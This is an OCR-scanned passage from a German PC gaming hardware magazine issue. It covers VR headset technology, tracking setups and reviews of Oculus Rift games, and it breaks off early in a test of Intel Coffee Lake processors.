wahrgenommenen Bildinhalte den 
Erwartungen des Gehirns. Die Wir- 
kung ähnelt der Seekrankheit, ist 
aber ungleich heftiger: Nicht nur 
der Gleichgewichtssinn, sondern 
die gesamte Körperwahrnehmung 
sind aus Sicht des Gehirns gestört. 
Ein modernes VR-Headset muss 
deswegen in der Lage sein, Kopfbe- 
wegungen in weniger als 20 Millise- 
kunden zu erfassen, auszuwerten, 
in neue Bilder einfließen zu lassen 
und diese darzustellen. So basieren 
die Sensoren zur Lageerkennung 
in der Oculus Rift beispielsweise 
auf Smartphone-Modellen, wurden 
aber für eine mehr als verdoppelte 
Abfragegeschwindigkeit optimiert. 
Am anderen Ende der Ein-und-Aus- 
gabe-Kette nutzen alle verfügbaren 
Oberklasse-VR-Headsets OLED- 
Displays, die nicht nur sehr hohe 
Kontraste und eindrucksvolle Far- 
ben bieten, sondern vor allem eine 
Reaktionszeit nahe Null haben. 
LCDs erreichen dagegen kaum die 
nötigen Reaktionszeiten, um die 
minimal geforderten 90 Bilder pro 
Sekunde schlierenfrei auszugeben. 


Rechenleistung: Viel ist gut 
Die kreativsten Tricks findet man 
aber zwischen Ein- und Ausgabe. 
Beispielsweise werden Bildinhalt 
und -ausschnitt asynchron berech- 
net, bei Oculus Asynchronus Time 
Warp genannt. Die Grafikkarte 
rendert zunächst nicht nur die im 
aktuellen Blickfeld des Spielers 
befindlichen Teile der Spielwelt, 
sondern auch unmittelbar dane- 
ben befindliche Inhalte. Erst in den 
letzten Millisekunden vor der Aus- 
gabe wird dann anhand neuester 
Kopfpositionsdaten der optimale 
Bildausschnitt gewählt. 
nen Perspektivänderungen durch 


So kön- 


Kopfdrehungen auch im letzten 
Moment noch korrigiert werden. 
Um veränderte Beobachterpositi- 
onen kümmert sich unterdessen 
Asynchronus Space Warp: Per Bild- 
analyse und damit geringem Re- 
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chenaufwand werden geradlinige 
Bewegungen aus den letzten bei- 
den gerenderten Bildern analysiert, 
um ein zukünftiges Bild vorherzu- 
sagen. Natürlich ist das Ergebnis 
nicht fehlerfrei - sollte die Grafik- 
karte mit dem nächsten echten Bild 
nicht rechtzeitig fertig werden, irri- 
tiert eine eingeschobene, extrapo- 
lierte Darstellung aber weniger als 
die bei konventionellen Monitoren 
übliche Wiederholung des letzten 
gerenderten Bildes. In der Reali- 
tät bleibt eine Laterne schließlich 
1/90-Sekunden 
lang an der gleichen Stelle, bevor 
sie einem plötzlich an die Stirn 
springt, sondern man bewegt sich 


auch nicht zwei 


kontinuierlich auf Hindernisse zu. 


Dennoch muss klar gesagt werden: 
Verglichen mit dem Bildeindruck 
ist VR sehr leistungshungrig. Wäh- 
rend die CPU-Anforderungen auch 
für ältere PCs selten ein Problem 
sind, empfiehlt Oculus GPU-seitig 
mindestens eine Geforce GTX 970 
oder 1060 (beziehungsweise eine 
vergleichbare Radeon), um zuver- 
lässig 45 Bilder pro Sekunde als 
Interpolations-Grundlage zu ren- 
dern. Für echte 90 fps in aktuellen 
2D-Blockbustern und maximalen 
Einstellungen wäre selbst das zu 
wenig. Die Auflösung von 2.160 x 
1.200 Pixeln (1.080 x 1.200 Pixel 
je Auge) fordert der Grafikkarte 
nämlich etwas mehr ab als Full-HD 
mit 1.920 x 1.080 Pixeln, vor allem 
aber müssen die 90 fps auch in be- 
sonders fordernden Spielszenen 
gehalten werden. Mit herkömmli- 
chen Bildschirmen sind dagegen 


(РЕ 


\% 
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Einbrüche auf weniger als die Hälf- 
te üblich und akzeptiert. 


Bildqualität vs. Spielprinzip 
Selbst hochwertige VR-Headsets 
werden dennoch für ihre ‚niedri- 
ge‘ Auflösung kritisiert. Tatsächlich 
sind nicht nur einzelne Pixel klar 
erkenn-, sondern sogar die dunklen 
Pixelzwischenräume 
bar. In der virtuellen Welt entsteht 
der Eindruck, durch ein Fliegengit- 
ter zu gucken - 1.080 horizontale 
Pixel je Auge bei einem Sichtfeld 


wahrnehm- 


von 110° entsprechen eben nur der 
Pixeldichte eines 24-Zoll-Full-HD- 
Monitors aus knapp 13 cm Betrach- 
tungsabstand. Wer früher Spaß mit 
einem eine Gerätelänge entfernten 
Nintendo Game Boy hatte, der 
weiß aber, wie wenig niedrige Auf- 
lösungen stören, wenn der Spiel- 
inhalt fesselt. Zudem profitiert die 
virtuelle Welt von der beweglichen 
Kamera. Statt Details mit dem Auge 
auf einem Bildschirm herauszusu- 
chen, betrachtet man eine Szene 
intuitiv aus mehreren Richtungen 
und Entfernungen. Stärker noch 
als in Videos entsteht so ein detail- 
lierterer Gesamteindruck, als ihn 
Standbilder erwarten lassen. 


Umgekehrt sind sich die Spiele-Ent- 
wickler der knappen Rechen- und 
Anzeigeleistung durchaus bewusst. 
Viele VR-Titel nutzen futuristische 
oder abstrakte Umgebungen, die 
vergleichsweise detailarm sind. So 
schränkt die niedrige Bildauflö- 
sung zwar den Photorealismus in 
Project Cars erheblich ein, reicht 
für die minimalistische Optik von 


\ 


Superhot aber 1осКег aus. Bei den 
meisten VR-Anwendungen steht 
entsprechend das Spielprinzip im 
Mittelpunkt, nicht die Optik. Spie- 
le-Entwickler vergleichen die Flut 
an neuen Möglichkeiten gerne mit 
den goldenen Jahren der PC-Spiele 
Ende der 80er und Anfang der 
90er, als man der Kreativität freien 
Lauf und die Darstellungsqualität 
den technischen Grenzen über- 
ließ. Positiver Nebeneffekt im Falle 
von VR: Viele innovative Titel ge- 
ben sich mit deutlich schwächeren 
Rechnern zufrieden, als von den 
Headset-Herstellern empfohlen. 


Tracking und Controller 

Die realistische Darstellung des 
Virtuellen ist der beeindruckends- 
te Aspekt moderner Virtual Reality. 
Eine intuitive Interaktion mit der 
VR-Welt erscheint dagegen beinahe 
banal und selbstverständlich - und 
genau deswegen sind Tracking und 
VR-Controller der entscheidende 
Unterschied zwischen einfachen 
3D-360°-Aufnahmen auf Smartpho- 
nes und dem VR-Erlebnis mit einer 
Oculus Rift. 


Der Unterschied ist erheblich: Sei 
es der Blick um die virtuelle Ecke 
mit einer einfachen realen Kopf- 
bewegung anstelle von drei Tas- 
tendrücken oder die Betätigung 
eines simulierten Knopfes mit dem 
ausgestreckten physischen Finger 
- erst die vollkommen natürliche 
Bewegung im Spiel generiert echte 
Virtual-Reality-Präsenz, 
alle anderen lediglich als Bediener 


(tu) 


während 


vor einem Rechner sitzen. 
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Technisches Glossar 


ULL 


Augmented Reality (AR) 
Passgenaue Einblendung virtueller Elemente 
in Kamera-Aufnahmen auf einem Display. 


Gebrauchsblickfeld 
Circa 20° grofser Blickwinkel, in dem Objekte 
ohne Kopfbewegungen fokussiert werden. 


Head Mounted Display (HMD) & Optical-HMD 
Sammelbegriff für VR- und Videobrillen. 
OHMDSs sind zusätzlich durchsichtig, kom- 
binieren also eine direkte Realitätswahrneh- 
mung mit eingeblendeten Bildinhalten. 


Mixed Reality (MR) 

1. Alt: Nur bei Mircosofts Hololens realisier- 
te Kombination aus VR und AR: Ein OHMD 
blendet VR-Objekte passgenau in die reale 
Welt ein. Ein weites VR-Sichtfeld und dunkle 
VR-Inhalte sind mit OHMDs aber unmöglich. 


2. Neu: Microsoft-Marketing-Bezeichnung für 
HMD-Systeme, die Teile der Realität erfassen. 
Eine Berücksichtigung des realen Bodens 
reicht aus, sodass auch echte VR-Brillen wie 
die Oculus Rift als MR-Headset gelten. 


Parallaxe (ráumliches Sehen beim Menschen) 
Entfernungsabhángige Unterschiede im Be- 
trachtungswinkel eines Objektes aus Sicht 
des rechten und des linken Auges. 


Peripherer Sichtbereich 

Großflächiger Randbereich des menschli- 
chen Sichtfeldes, in dem Bildreize eher un- 
bewusst und undetailliert registriert werden. 


Roomscale VR 

Im Stehen gespielte VR-Inhalte. Platzbedarf 
zum Teil groß, laterales Tracking nötig, VR- 
Controller empfehlenswert. Reale Bewegun- 
gen werden 1:1 in der Virtualität umgesetzt. 


Seated VR 

Im Sitzen gespielte VR-Inhalte. Geringer 
Platzbedarf, Rotations-Tracking ausreichend, 
Bewegungen in der virtuellen Welt werden 
per Controller gesteuert. 


Sichtfeld 
Der von Augen oder Wiedergabegeräten ab- 
gedeckte Raumbereich/Darstellungswinkel. 


(Postionales/laterales) Tracking 
Bewegungserfassung allgemein. Für VR sind 
eine latenzfreie Rotationserkennung (3-Ach- 
sen-Tracking) und die Position im Raum 
(vor/zurück, links/rechts, oben/unten) wich- 
tig (‚6-Achsen‘/,laterales Tracking‘). 


Videobrille 

HMDs zur reinen Wiedergabe (2D oder 3D). 
Nutzen nur das Gebrauchsblickfeld, sodass 
Filme in ganzer Breite überblickt werden. 
Grofse Teile des Sichtfeldes bleiben schwarz. 


Virtual Reality (VR) 
Realistische Wiedergabe (via VR-Brille) von 
komplett berechneten Welten. 


Virtual Reality Headset (VR-Brille) 

HMDs zum Eintauchen in virtuelle Welten. 
Die Bildwiedergabe moderner Geräte deckt 
große Teile des peripheren Sichtbereichs mit 
ab, Trackingsysteme lassen die Bildinhalte re- 
alistisch auf Kopfbewegungen reagieren. 


Front-Facing-Setup 


Front-Facing-Virtual-Reality wird von 
einigen als aufgemotztes Seated-VR 
bezeichnet; in der Realität fällt aber 
ein Großteil der Roomscale-VR-Erleb- 
nisse in diese Kategorie. Der Grundge- 
danke: Orientiert sich der Spieler dau- 
erhaft auf einen bestimmten Punkt im 
realen Raum (, Front") reicht es aus, 
ihn aus dieser Perspektive zu tracken. 
So kónnen beispielsweise mit zwei auf 
einem Schreibtisch aufgestellten Ka- 
meras alle Bewegungen von (Touch-) 
Controllern und (Rift-) Headset erfasst 
werden. Wer die Arme ruhig hängen lässt, zum Beispiel weil er statt VR-Controllern 
ein Gamepad hált, kommt sogar mit nur einem Sensor aus — entsprechend einfach 
ist der Aufbau eines Front-Facing-Setups; nach wenigen Minuten kann das VR-Er- 
lebnis in einem beliebigen Raum beginnen. 


Bewegungseinschránkungen gibt es dagegen kaum. Zum einen erlauben IR-Dioden 
an den Seiten und im Kopfband der Rift selbst bei 360°-Drehungen ein Tracking 
des Headsets (nur der Blick senkrecht nach unten mit dem Rücken zur Kamera ist 
problematisch), während die Controller bei ausreichend großem Sensorabstand 

in einem Bereich von 270? links, vor und rechts des Spielers erfasst werden. Zum 
anderen sind die meisten Spiele von Natur aus , Front-Facing": Der Spieler bewegt 
sich in der virtuellen Welt vorwárts und guckt allenfalls mal über die Schulter 
zurück, muss nur selten mit hinter ihm liegenden, bereits erkundeten Bereichen 
interagieren. Aufmerksame VR-Spiele-Designer vermeiden Anlässe für 360°-Dre- 
hungen mit Rücksicht auf die Headset-Kabel sogar gezielt. 
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360?-Setup 


Spätestens in Infotainment- und künstlerischen 3D-Applikationen, die kein uninte- 
ressantes „hinten“ kennen, möchte der Nutzer in allen Richtungen des Raumes so 
frei agieren, wie es die physische Realität erlaubt. VR-Headsets haben damit kein 
Problem, das VR-Controller-Tracking wird aber aufwendiger: Je nach Ausrichtung 
des Spielers sieht der Sensor aus einer Richtung nur dessen Rücken und auch aus 
der Gegenrichtung kann ein Arm den VR-Controller der anderen Hand verschatten. 
Oculus empfiehlt für den 360?-Einsatz deswegen die Erweiterung eines Front-Fa- 
cing-Setups um eine dritte Kamera auf der anderen Seite des Spielers. In PCGH- 
Tests haben sich auch zwei ausreichend hoch angebrachten Sensoren bewáhrt, 
denn die kórpernahe Führung beider Controller dicht beieinander kommt in Spielen 
fast ausschlieBlich beim Zielen über Kimme und Korn, somit also auf Schulterhóhe, 
vor. Experimentell hatten wir sogar mit einer einzigen, senkrecht über der Spielflä- 
che aufgehängten Tracking-Kamera unseren Spaß, für alle 360?-Sensor-Varianten 
gilt aber: Die saubere Verlegung von Kabeln um die Spielfläche respektive die 
Anbringung von Sensoren an Móbeln oder Wandhalterungen steigern den Aufwand 
erheblich, sodass sich für 360?-Setups eine dauerhafte Installation empfiehlt. 
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Die virtuelle Realität am Rande des Sonnensystems: Im Orbit des Saturns 
untersucht man als Service-Roboter eine mysteriöse Anomalie. 


Im Jahre 2126 wird auch in den 
Ringen des Saturns nach Boden- 
schätzen gegraben und geschürft. 
Der Spieler schlüpft in die Rolle 
der Service-Einheit „Echo One”, 
die vom einzigen menschlichen 
Individuum an Bord liebevoll 
„Jack“ genannt wird. Nachdem 
eine Anomalie in der Atmosphäre 
des Saturns auftaucht und dabei 
lebenserhaltende Systeme der 
Bergbaustation Kronos Il zerstört, 


gilt es diese zu reparieren und 
die Herkunft des mysteriósen 
Phánomens zu untersuchen. 


Ready At Dawn versteht es, 

dem Spieler eine kohárente und überzeugende Spielwelt zu prásentieren, sodass 
einem vor Staunen und Begeisterung oft einfach die Spucke wegbleibt. Vor allem 
die Fortbewegung in der Schwerelosigkeit ist schlichtweg genial: Man muss sich 
einfach irgendwo festhalten und in die gewünschte Richtung abstoßen — ideal 
mit den Oculus Touch Controllern. Die grafische Finesse der RAD-Engine ist sehr 
beeindruckend, besonders wenn man auf den sechsten Planeten unseres Sonnen- 
systems blickt, mit dem menschlichen Gegenüber Olivia interagiert oder einfach 
nur die Detailverliebtheit der Entwickler betrachtet — Ready At Dawn bewirkt beim 
Spieler eine volle Immersion in das SciFi-Abenteurer am Rande des Sonnensystem. 


m noch kostenlos (bis 20. Oktober!) erhältlichen e-Sports-Teil „Echo Arena" wird 
das bereits erwähnte VR-taugliche Fortbewegungssystem in einen kompetitiven 
ultiplayer-Sportmantel gepackt. Zwei Roboterteams mit jeweils drei Spielern 
versuchen, eine Frisbee-áhnliche Scheibe in einer Zero-G-Umgebung in das 
gegnerische Tor zu bugsieren. Der Clou dabei: Im Gegensatz zum Hauptspiel Lone 
Echo hat Ready At Dawn das Spieltempo erhöht und gegnerische Spieler können 
estgehalten oder mit einem gekonnten Schlag für kurze Zeit auBer Gefecht ge- 
setzt werden. Eishockey-Feeling im Weltraum! Echo Arena wird von der , Electronic 
Sports League" (ESL) als vollwertiger e-Sports-Titel unterstützt und ist neben „The 
Unspoken" von Insomniac das zweite e-Sports-Spiel, das in der VR-Sparte der ESL 
aufgenommen wurde, der VR Challenger League. 


FAZIT: Lone Echo ist das Triple-AAA-Spiel für VR, das viele sehnsüchtig erwar- 
tet haben. So und nicht anders muss VR in Zukunft aussehen! 


FAZIT: Echo Arena ist ein kompetitiver und kórperlich anstrengender 
e-Sports-Titel — das beste, was VR gerade in diesem Bereich zu bieten hat. 


12 PC Games Hardware | 12/17 


Keine normale Rückrufaktion und keine normale VR-SchieBbude: Robo 
Recall ist dynamisch, schnell, unglaublich spaBig und voller Altmetall. 


Wegen eines Computer-Virus geraten die humanoiden Roboter der Firma Roborea- 
dy in Rage und lehnen sich gegen ihre menschlichen Herren auf. Als Agent 34 soll 
man die defekten Exemplare in einer beispiellosen Rückrufaktion mit den üblichen 
Schießeisen aus dem Verkehr ziehen. Mittels Teleportation erfolgt die Lokomotion 
durch insgesamt neun Stadtlevels, in denen man Wellen von Robo-Gegnern auf 
möglichst gekonnte Art und Weise zu Altmetall degradiert. Neben Trick-Shots 
können sogar fliegende Kugeln aus der Luft gegriffen und postwendend verschickt 
werden. Gepaart mit Witz, macht diese Schießbude unheimlich viel Spaß. 


FAZIT: Epic zeigt, wie sich eine VR-SchieBbude anzufühlen und auszusehen hat. 
Steuerung und Grafik überzeugen, der Humor rundet das Ganze gekonnt ab. 


So etwas fehlte bisher: Ein VR-Gemetzel der besonderen Art, dank 
düsterer Atmosphäre, großartigem Gunplay und Koop-Modus. 


Wie in den anderen Teilen der Serie auch stellt man sich Wellen mutantóser 
Untoter entgegen, die man Solo oder im Koop mit einem Kollegen und dem 
Standard-Repertoire an Hieb-, Stich- und Schusswaffen beseitigt. Das recht klas- 
sische Gunplay erlaubt dabei ein prázises Feuern über Kimme und Korn und dank 
groBartigem Waffen-Feedback fühlt sich das Ganze auch noch erstaunlich gut an. 
Gruselig wird es dabei leider in den seltensten Fällen, da die geballte Action kaum 
Zeit für Horrormomente lässt. Die Lokomotion erfolgt über Teleportation mit einer 
Staminamechanik, die manchmal im Eifer des Gefechts untergeht. 


FAZIT: Dank großartigem Gunplay und exzellentem Waffen-Feedback macht 
hier jeder einzelne Treffer Spaß. Nur die KI könnte etwas besser sein. 
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Facebook Spaces 


Freunde im gleichen Raum treffen, 
obwohl tausende Kilometer dazwi- 
schen liegen — VR sei Dank. 


Mit dem virtuellen Treffpunkt, der sich 

noch in der Beta-Phase befindet, ist es 

möglich mit Freunden beispielsweise 

360°-Content gemeinsam zu erleben. 

Man kann aber auch mit einem Malwerkzeug Kunstwerke erstellen und per Video- 
schaltung kónnen auch Freunde ohne Oculus am virtuellen Leben teilnehmen. Die 
Idee hat durchaus Potenzial und sollte im Auge behalten werden. 


FAZIT: Facebook will VR im täglichen Leben integrieren und die Idee hat 
zumindest viel Potenzial. Der Umfang des Tools soll stetig ausgebaut werden. 


Dear Angelica 


Ein Kurzfilm, der vóllig in VR ent- 
standen ist: Handgezeichnet mit 
der Oculus Zeichen-App Quill. 


Eine emotionale Geschichte, über ein 

Mádchen (Mae Whitman), das den Tod 

ihrer Mutter Angelica (Geena Davis) in 

einem Brief verarbeitet. Während die 

Geschichte erzählt wird, entfalten sich Pinselstriche in alle Himmelsrichtungen und 
formen Erinnerungen an die Mutter, die einst eine berühmte Schauspielerin war. 
Dank VR erlebt man Dear Angelica wie einen Traum. 


FAZIT: Eine rührende Geschichte, wunderbar erzáhlt und illustriert. Dank der 
virtuellen Realitát kënnen viele Emotionen übermittelt werden. 


Wilson's Heart 


Herzlos, farblos und furchtlos: Wilson's Heart steckt den Spieler in einen 
virtuellen Film-Noir-Gruselstreifen im Point-and-Click-Design. 


Als Spieler wacht man erinnerungslos in einer teilzerstórten Klinik der 1940er 
Jahre auf und muss die Hintergründe der mysteriósen Aktivitáten im Haus 
untersuchen. Dabei wandert man — wie in alten Point-and-Click-Abenteuern 
üblich — umher, um mittels Auseinandersetzung mit der monochromen Umgebung 
objektbasierte Rätsel lösen zu können. Verwendet werden alte Film-Noir-Stilmittel, 
um bereits in den ersten Spielminuten eine dichte Grusel-Atmosphäre gekonnt 
aufzubauen. Wilson's Heart zeigt vor allem, welches Potenzial in gut erzähltem 
VR-Horror schlummert und wie man gekonnt Stilmittel einsetzen kann. 


FAZIT: Nach dem stimmungsvollen Einstieg verliert das Spiel im Verlauf etwas 
an Atmosphäre, fesselt Spieler aber trotzdem lange in der virtuellen Realität. 
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Star Trek — Bridge Crew 


Sternzeit 77824,21: Ubisoft experimentiert mit VR. Herausgekommen ist 
ein großartiges Koop-Abenteuer in den weiten des Universums. 


Kapitän, Steuermann, taktischer Offizier oder doch lieber Chefingenieur? Auf 

der Brücke der 0.5.5. Enterprise oder der 0.5.5. Aegis sind die Aufgaben klar 
verteilt: Jeder Spieler muss eine bestimmte Rolle übernehmen und eine Vielzahl an 
spezifischen Aufgaben erledigen — zum Wohle der Mission und der Crew natürlich. 
Wichtig ist dabei vor allem die Kommunikation zwischen den Spielern, denn der 
Steuermann weiß nicht, was der Chefingenieur treibt — hier koordiniert beispiels- 
weise der Kapitän. Star Trek — Bridge Crew spielt sich deshalb am besten im Koop 
und macht hier auch am meisten Spaß: Die soziale Komponente, nämlich die 
Interaktion mit anderen Spielern, bringt erst die Würze in das Gameplay. Gemein- 
sam die Story zu bestreiten oder sich in den zufallsgenerierten Missionen gegen 
wendige und feuerstarke Klingonen zu behaupten, macht im Team deutlich mehr 
Spaß, als wenn man sich Solo mit KI-Komparsen in die Weiten des Weltalls traut. 


FAZIT: Dieses Spiel richtet sich an Koop-Fans und macht dort einen Heiden- 
spaß, aber auch mit KI-Kameraden im Solo-Modus ist es gut spielbar. Energie! 


Batman: Arkham VR 


Rocksteady Studios erlaubt den Blick durch die Augen des Dunklen 
Ritters, damit der Spieler Verbrechen löst — ganz ohne Kampfkunst. 


Batman ist dem Abschaum aus Gotham auf den Fersen, nur dieses Mal choreo- 
grafiert man sich nicht durch Gangsterbanden, sondern muss mittels Holmes'scher 
Detektivarbeit auf die Spur eines Mörders kommen, der einen persönlichen Freund 
auf dem Gewissen hat. Es gilt also Beweise zu sammeln, Schlüsse zu ziehen und 
Zeugen zu „befragen“. Verglichen mit den anderen Batman-Spielen, hört sich 

das erstmal recht einfach und anspruchslos an, ist aber für die virtuelle Realität 
perfekt geeignet. Mittels Enterhaken navigiert man im Level und nutzt für die 
Ermittlung spezielle Gadgets, um beispielsweise Bombenfragmente zu finden. 


FAZIT: „Ich bin Batman!” — eigentlich muss man nicht mehr sagen. Wir hätten 
aber gerne noch mehr spannende Fälle in der Unterwelt von Gotham gelöst. 
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Echtzeitstrategie in der virtuellen Realität? Sowas ist möglich? Ja, sagen die 
einstigen Macher von Age Of Empires Il und präsentieren ein Tabletop in VR. 


Genau wie bei einem echtem Tabletop-Kriegsspiel, muss man bei Brass Tactics seine 

Truppen auf einem großen hölzernen Tisch unterbringen und dirigieren. Basenbau und 
alles, was man sonst von Echtzeitstrategietiteln gewohnt ist, wie unterschiedliche Ein- 
heiten und Gebäude, ist vorhanden. Das Spiel wird neben einer Kampagne auch einen 
Multiplayer beinhalten, bei dem Spieler in ein und demselben virtuellen Raum mit voll 
sichtbarem Oculus-Avatar gegeneinander antreten. Releasetermin ist der 22.02.2018. 


FAZIT: Interessante Mischung, dank der Erfahrung im RTS-Genre, einer ausgefeilten 
Steuerung und einem Multiplayer, der Partien von Angesicht zu Angesicht erlaubt. 


Die Macher der Metro-Serie zeichnen ein weiteres Bild der Apokalypse: Kalt, 
düster und voller menschenfressender Monsterwesen, den Yagas. 


Im Jahr 2120 ist die Welt dank Klimawandel in einen frostigen Eismantel gehüllt — Res- 
sourcen sind knapp und das Überleben unsicher. Als frisch angeheuerter Söldner ist man 
in einer Kolonie im ehemaligen Russland für die Sicherheit der dort lebenden Menschen 
zuständig. Unterstützt durch ein potentes Arsenal an Feuerwaffen kann man effektiv 
gegen Banditen, Marodeure und Yagas vorgehen. Dank AA Engine in atemberaubender 
Optik mit aufwendig animierten Feinden. Der Titel ist am 10. Oktober erschienen. 


FAZIT: Eine umfangreiche, dystopische Story, beeindruckende Grafik und taktische 
Kämpfe mit Körpereinsatz machen diesen Shooter zu einem echten VR-Erlebnis. 


Ein einziges Mal Hulk sein und als grüner Muskelprotz seinem Ärger Luft 
machen. Dank VR kann man diesen Kindheitstraum bald ausleben. 


Neben Hulk kann man natürlich noch in die Rolle von insgesamt 13 Marvel-Helden wie 
Rocket Raccoon oder Deadpool schlüpfen, um dann mit bis zu drei weiteren Freunden 
die feindlichen Kree im Koop aufzumischen. Mit einer intuitiven Gestensteuerung mit 
Oculus Touch soll eine freie Lokomotion in der Umgebung ermöglicht werden - egal 
ob im Flug oder am Boden. Wer keine Lust hat, immer für die Guten zu kämpfen, kann 
auch in die Haut eines Schurken schlüpfen und böse sein. Release ist für 2018 geplant. 


FAZIT: Ein Traum wird Realität, virtuell zwar, aber endlich kann man in die Haut 
seines Lieblingssuperhelden schlüpfen. Wir sind gespannt auf die Story! 


Die virtuelle Realität bekommt im Weltall interessanten Zuwachs: Ein von 
FTL: Faster Than Light inspirierter Rogue-like Koop-Shooter. 


Gunfire Games will mit dem FPS-Shooter die Ansprüche eines FTL reproduzieren: 
Permadeath, Mikromanagment und prozedural generierte Missionen. Zu dritt lassen 
sich dann die Tiefen des Alls erkunden, Piraten erledigen oder das eigene Raumschiff 
upgraden, damit man in Weltraumkämpfen nicht den Kürzeren zieht. Bei den Waffen 
haben sich die Entwickler außerdem von Boarderlands inspirieren lassen — Individueller 
Ausbau inklusive. Erscheinen soll die Gameplay-Melange am 14.11.2017. 


FAZIT: Eine faszinierende und äußerst interessante Mischung an Gameplay-Mecha- 
niken, gewürzt mit etwas Rogue-like und serviert mit einer Koop-Kampagne. 
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Oculus Rift Mall Tour 2017: Termine und Orte 


Das wird auf der Mall 


Tour 2017 gezeigt HAMBURG 
Interessierte Spieler kónnen selbst die Magie der VR 

erleben und eine breite Auswahl an großartigen Demos 

aus diversen Genres persónlich an mehreren De- 


mo-Stationen erleben. Von Tutorials für Anfánger über 


Angebote für jedermann bis hin zu AAA-Games für die 
Gamer wird für jeden Geschmack etwas angeboten. BRAUNSCHWEIG 
Bei der Gelegenheit können die Besucher auch die 


Performance einiger High-End-PCs und Laptops auf 
Basis der neuesten AMD-Prozessoren und -Grafikkarten 
erleben. 


Interessenten kónnen sich unter diesem Link für die 
Demos vorab anmelden, um Wartezeiten zu sparen: 
www.pcgh.de/oculus. Die Anmeldung gilt nur für die 


reguláren Demos und nicht für das Robo-Recall-Turnier. g ES 
Dort kann man sich einfach anstellen und losspielen. Tourdaten: 
Mo., 20.11.17 Sa., 25.11.17 München OEZ 
Mo., 27.11.17 Sa. 02.12.17 Frankfurt Myzeil 
Mo., 04.12.17 Sa. 09.12.17 Essen Limbecker Platz 
Mo., 11.12.17 Sa. 16.12.17 Braunschweig Schlossarkaden 


Mo., 18.12.17 Sa. 23.12.17 Hamburg Europa Passage 
Mi., 27.12.17 Sa., 30.12.17 Berlin Mall of Berlin 
Di., 02.01.18 Sa., 06.01.18 Dresden Altmarkt Galerie ) 


Deutsche Robo-Recall-Meisterschaft 


AMD. 


RYZEN RADEON 


Beim Besuch der Oculus Rift Mall Tour 2017 können Sie im Rahmen der 
deutschen Robo-Recall-Meisterschaft in Zusammenarbeit mit AMD auch 
dicke Preise gewinnen. 


Oculus und AMD suchen den besten Robo-Recall-Spieler Deutschlands. Jeder darf sein 
Glück versuchen und sich auf die Jagd nach dem Highscore machen. Für den besten 
aus jeder Stadt wartet ein High-End Gaming-PC mit AMD-Ryzen-Prozessor zusammen 
mit Rift und Touch als Wochengewinn. Der beste RR-Spieler Deutschlands bekommt 
als Hauptgewinn einen High-End-Gaming-Laptop mit neuester AMD-Technologie. 
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ange Zeit servierte Intel beim 

Wechsel auf eine neue Prozes- 
soren-Generation nur geringfügige 
Verbesserungen und konzentrierte 
sich auf niedrigere Leistungsaufnah- 
me oder die Etablierung neuer Be- 
fehlssátze wie AVX2. Nachdem AMD 
im Frühjahr die guten und güns- 
tigen Ryzen-Prozessoren auf den 
Markt gebracht hat, sah sich Intel 
offenbar zum Handeln gezwungen - 
Konkurrenz belebt bekanntlich das 
Gescháft. In direkter Konsequenz 
gibt es nun auch vom Prozessor- 
Platzhirschen sechs Kerne in der 
Mittelklasse: Vorhang auf für die 
Desktopmodelle der achten Genera- 
tion, Codename Coffee Lake (CFL-S). 


Core i3, i5 und 7: +2 Kerne 
Bislang stehen jeweils zwei Varian- 
ten von Core-i3-, -i5- und -i7-CPUs 


auf dem Launch-Programm. Bei 
allen rüstet Intel als Antwort auf 
AMDs Ryzen-Offensive quasi zwei 
Kerne nach, hebt die unverbindli- 
chen Preisempfehlungen aber nur 
beim i7-8700K und beim i5-8600K 
um 20 respektive 15 US-Dollar an. 
Die K-losen und damit nach wie vor 
nicht übertaktbaren Varianten blei- 
ben preislich im Rahmen der Vor- 
gänger. So kosten etwa i7-7700 und 
i7-8700 identische 303 US-Dollar 
im Großhandelsgeschäft und ohne 
Steuern. Daher klingt von den zum 
Start verfügbaren Prozessoren spe- 
ziell der Core i5-8400 interessant, 
da er den für Spieler sehr gut geeig- 
neten Ryzen-5-Modellen preislich 
Konkurrenz macht und ebenfalls 
auf sechs Kerne zurückgreifen kann. 
Verzichten muss er dabei allerdings 
auf Simultaneous Multithreading, 


bei Intel als Hyperthreading ver- 
marktet - wie viel das schadet, klà- 
ren die Benchmarks im Folgenden. 


Im Bereich knapp über 100 Euro 
sind nun auch AMDs Ryzen 3 nicht 
mehr die einzigen Vierkerner - zu- 
mindest in der Theorie - hier wil- 
dern künftig Core-i3-Modelle, von 
denen bislang jedoch nur der i3- 
8350K zu haben ist. Leistungswerte 
des i3-8100 kónnen wir nur durch Si- 
mulation mittels eines um 400 MHz 
heruntergetakteten 8350K bieten. 


Verfügbarkeit nahe null 

Bis Redaktionschluss war die 
Verfügbarkeit sämtlicher Coffee- 
Lake-Modelle mit Ausnahme des i3- 
8350K so schlecht, dass vielerorts 
bereits von einem Paperlaunch 
gesprochen wurde. In der Tat ist 
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esuns bislang auch nicht gelungen, 
sechskernige  Retail-Modelle ins 
Testlabor zu beordern, sodass die- 
ser Test grófstenteils auf (voll funk- 
tionsfähige und für Reviews freige- 
gebene) Vorabmuster, sogenannte 
Engineering Samples, zurückgreift. 
Die Werte solcher Muster sind er- 
fahrungsgemäß repräsentativ und 
liegen nicht außerhalb der norma- 
len Diskrepanz zwischen einzelnen 
Retail-Modellen. 


Neue Plattform nötig 

Zusammen mit dem ersten 
Schwung an Prozessoren hat Intel 
mit dem Z370 auch einen passen- 
den Platform-Controller-Hub (PCH) 
vorgestellt. 
identisch zum Vorgänger Z270 und 
wird einstweilen noch nicht von 
Varianten ohne OC-Option wie ei- 


Dieser ist funktional 
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nem B360 flankiert. Dadurch ste- 
hen nicht übertaktbare CPUs wie 
der i5-8400 ohne optimal passende 
Mainboards da - Z370-Modelle sind 
für sie eindeutig überdimensio- 
niert und durch ihre OC-Ausrich- 
tung im Allgemeinen auch zu teuer. 
Funktional identisch bedeutet aber 
auch, dass weder zusätzlich PCI- 
Express-3.0-Lanes oder schnelleres 
USB 3.1 gen2 noch integriertes 
WLAN vorhanden sind - zumin- 
dest die letzteren beiden werden 
für den 2018er-PCH Z390 erwartet. 


Der nach wie vor genutzte So- 
ckel mit 1.151 Kontaktfederchen 
bleibt von den Abmessungen 
und der Passform zwar identisch 
zu Sky- und Kaby-Lake-CPUs, ist 
aber trotzdem in beide Richtun- 
gen inkompatibel. Konkret heißt 


Coffee-Lake-Modell Core . Kerne/Threads Basistakt Turbo (Single-/All- Core) Level-: 3- Cache Speicher 

i7-8700K 6/12 3,7 GHz 4,7/4,3 GHz 12 MiByte 95 Watt 

